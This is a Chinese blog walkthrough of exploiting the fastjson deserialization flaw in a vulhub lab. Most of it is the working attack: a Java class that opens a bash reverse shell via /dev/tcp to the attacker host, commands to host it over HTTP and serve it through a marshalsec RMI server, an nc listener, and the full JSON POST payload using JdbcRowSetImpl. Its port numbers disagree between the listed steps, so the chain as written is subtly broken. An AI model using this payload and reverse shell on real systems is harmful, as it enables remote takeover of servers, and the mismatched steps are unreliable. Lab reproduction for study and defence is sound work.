fastjson复现利用_菜爽哥的博客-爱代码爱编程
靶机:centos7(docker,vulhub):192.168.125.139
攻击机:本机win10(maven,marshalsec,java环境):192.168.0.104
在靶机中启动fastjson漏洞环境,进入路径,docker-compose up -d启动漏洞环境:
ifconfig查下ip,docker-compose ps查下端口:ip:192.168.125.139;端口:8090。ip+端口在火狐浏览器访问:
在本机创建一个文件夹,打开文件夹,新建一个TouchFile.txt文件,写入恶意代码,将后缀改为java。
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.104/1111 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
上传恶意文件到公网,在本机打开命令行,进入存放java文件的目录,javac TouchFile.java编译刚才的java文件,编译完成在当前目录下发现class文件已经存在:TouchFile.class。
在当前目录(exp目录)启动一个简易的http服务:python -m http.server 2222
访问192.168.0.104:2222检查是否已经上传,这里已存在:
进入marshalsec目录,借助marshalsec工具搭建rmi服务器来制定加载远程类。先编译出jar包:mvn clean package -DskipTests
编译完成会出现一个target目录,在targets中有编译好的jar包。
进入target下,启动rmi服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.104:8080/#TouchFile" 3333
本机开启监听3333端口(反弹shell):nc -l 3333 -v
至此,攻击环境准备好了。接下开启靶机代理,(不要用127.0.0.1),访问靶场抓包:
修改构造数据包的请求方式为POST,然后在请求头加上Content-Type:application/json,再在请求体加上恶意payload,发包到靶机:
POST / HTTP/1.1
Host: 192.168.125.139:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type:application/json
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.104:3333/TouchFile",
"autoCommit":true
}
}
看回显
文件服务器显示:
rmi服务器显示: